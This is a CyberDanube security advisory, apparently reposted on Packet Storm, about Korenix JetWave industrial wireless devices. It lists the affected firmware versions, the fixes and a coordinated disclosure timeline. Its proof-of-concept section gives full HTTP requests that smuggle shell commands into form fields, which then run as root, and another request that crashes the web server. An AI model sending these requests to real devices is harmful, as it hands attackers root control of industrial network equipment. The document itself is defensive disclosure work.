exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Korenix JetWave Command Injection / Denial Of Service

Korenix JetWave Command Injection / Denial Of Service
Posted Feb 15, 2023
Authored by T. Weber, S. Dietz | Site cyberdanube.com

Multiple versions of Korenix JetWave suffer from authenticated command injection and denial of service vulnerabilities.

tags | exploit, denial of service, vulnerability
SHA-256 | 855f389543c13d74be1ffa1c20556605349c2e7c25c9e761aad4692ec6b41a9d

Korenix JetWave Command Injection / Denial Of Service

Change Mirror Download
CyberDanube Security Research 20230213-0
-------------------------------------------------------------------------------
title| Multiple Vulnerabilities
product| JetWave4221 HP-E, JetWave 2212G, JetWave
2212X/2212S,
| JetWave 2211C, JetWave 2411/2111, JetWave
2411L/2111L,
| JetWave 2414/2114, JetWave 2424, JetWave 2460,
| JetWave 3220/3420 V3
vulnerable version| See "Vulnerable Versions"
fixed version| See "Solution"
CVE number| requested
impact| High
homepage| https://korenix.com/
found| 2022-11-28
by| S. Dietz, T. Weber (Office Vienna)
| CyberDanube Security Research
| Vienna | St. Pölten
|
| https://www.cyberdanube.com
-------------------------------------------------------------------------------


Vendor description
-------------------------------------------------------------------------------
"Korenix Technology, a Beijer group company within the Industrial
Communication
business area, is a global leading manufacturer providing innovative,
market-
oriented, value-focused Industrial Wired and Wireless Networking Solutions.
[...]
Our products are mainly applied in SMART industries: Surveillance, Machine-
to-Machine, Automation, Remote Monitoring, andTransportation. Worldwide
customer base covers different Sales channels, including end-customers,
OEMs,
system integrators, and brand label partners."

Source:
https://www.korenix.com/en/about/index.aspx?kind=3


Vulnerable Versions:
-------------------------------------------------------------------------------
The following firmware versions have been found to be vulnerable by
CyberDanube:
* Korenix JetWave4221 HP-E <= V1.3.0
* Korenix JetWave 3220/3420 V3 < V1.7

The following firmware versions have been identified to be vulnerable by the
vendor:
* Korenix JetWave 2212G V1.3.T
* Korenix JetWave 2212X/2112S V1.3.0
* Korenix JetWave 2211C < V1.6
* Korenix JetWave 2411/2111 < V1.5
* Korenix JetWave 2411L/2111L < V1.6
* Korenix JetWave 2414/2114 < V1.4
* Korenix JetWave 2424 < V1.3
* Korenix JetWave 2460 < V1.6


Vulnerability overview
-------------------------------------------------------------------------------
1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection.
It allows an attacker to gain full access to the underlying operating
system of
the device with all implications. If such a device is acting as key
device in
an industrial network, or controls various critical equipment via serial
ports,
more extensive damage in the corresponding network can be done by an
attacker.

2) Authenticated Denial of Web-Service
When logged in, a user can issue a POST request such that the underlying
binary
exits. The Web-Service becomes unavailable and cannot be accessed until the
device gets rebooted.


Proof of Concept
-------------------------------------------------------------------------------
1) Authenticated Command Injection
1.a)
The command "touch /tmp/poc" was injected to the system by using the
following
POST request:
===============================================================================
POST /goform/formTFTPLoadSave HTTP/1.1
Host: 172.16.0.38
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0)
Gecko/20100101 Firefox/107.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Origin: http://172.16.0.38
Connection: close
Referer: http://172.16.0.38/mgmtsaveconf.asp
Cookie:
-common-web-session-=::webs.session::d7af70f81033cff3828902e476ceda45
Upgrade-Insecure-Requests: 1

submit-url=%2Fmgmtsaveconf.asp&ip_address=192.168.1.1&file_name=%24%28touch+%2Ftmp%2Fpoc%29&tftp_action=load&tftp_config=Submit
===============================================================================


The command gets executed as root and a file under the folder /tmp/ is
created.

1.b)
The command "touch /tmp/poc2" was injected to the system by using the
following
POST request:
===============================================================================
POST /goform/formSysCmd HTTP/1.1
Host: 172.16.0.38
Content-Type: application/x-www-form-urlencoded
Connection: close
Referer: 172.16.0.38
Cookie:
-common-web-session-=::webs.session::df1307d508d798638a8b4572987462bb
Content-Length: 40

sysCmd=touch%20/tmp/poc2&submit-url=
===============================================================================

The command gets executed as root and a file under the folder /tmp/ is
created.
Command output is written into /tmp/syscmd.


2) Authenticated Denial of Web-Service
The process goahead chrashes when the following POST request is sent to the
endpoint /goform/formDefault:
===============================================================================
POST /goform/formDefault HTTP/1.1
Host: 172.16.0.38
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0)
Gecko/20100101 Firefox/107.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://172.16.0.38
Connection: close
Referer: http://172.16.0.38/toolping.asp
Cookie:
-common-web-session-=::webs.session::3c624961199904f380e978a3967cc356
Upgrade-Insecure-Requests: 1

PingIPAddress=127.0.0.1&submit-url=%2Ftoolping.asp&Submit=Ping
===============================================================================


The output was observed on the terminal using our emulated instance:
===============================================================================

rm: invalid option -- /
BusyBox v1.01 (2022.10.21-00:22+0000) multi-call binary
Usage: rm [OPTION]... FILE...

Remove (unlink) the FILE(s). You may use '--' to
indicate that all following arguments are non-options.

Options:
-i always prompt before removing each destination
-f remove existing destinations, never prompt
-r or -R remove the contents of directories recursively

killall: wlwatchdog: no process killed
killall: wlapwatchdog: no process killed
===============================================================================


The vulnerabilities were manually verified on an emulated device by
using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution
-------------------------------------------------------------------------------
Owner of these products are suggested to update to the following versions:
* Korenix JetWave 4221 HP-E V1.4.0
* Korenix JetWave 2212G V1.10
* Korenix JetWave 2212X/2112S V1.11
* Korenix JetWave 2211C V1.6
* Korenix JetWave 2411/2111 V1.5
* Korenix JetWave 2411L/2111L V1.6
* Korenix JetWave 2414/2114 V1.4
* Korenix JetWave 2424 V1.3
* Korenix JetWave 2460 V1.6
* Korenix JetWave 3220/3420 V3 V1.7


Recommendation
-------------------------------------------------------------------------------
CyberDanube recommends customers from Korenix to upgrade the firmware to the
latest version available. Furthermore, a full security review by
professionals
is recommended.


Contact Timeline
-------------------------------------------------------------------------------
2022-12-05: Contacting Beijer Electronics Group via cs@beijerelectronics.com
2022-12-12: Meeting with Beijer Electronics. Vulnerabilities were
confirmed by
the vendor. The vendor planned to fix the vulnerabilities
in the
next 1.5 months.
2023-01-04: Contact shared the updated firmware version. CyberDanube checked
if the vulnerabilities got fixed. The contact communicated
that
not only JetWave4221 is vulnerable to these issues. Therefore,
CyberDanube postponed the release of the Advisory until the
other
products have been patched.
2023-01-30: Meeting with Beijer Electronics. Customer get informed about the
issues. Fixes got published. Disclosure date got shifted to
2023-02-13 to provide a time-window for patching.
2023-02-13: Coordinated release of security advisory.


Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF S. Dietz, T. Weber / @2023


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close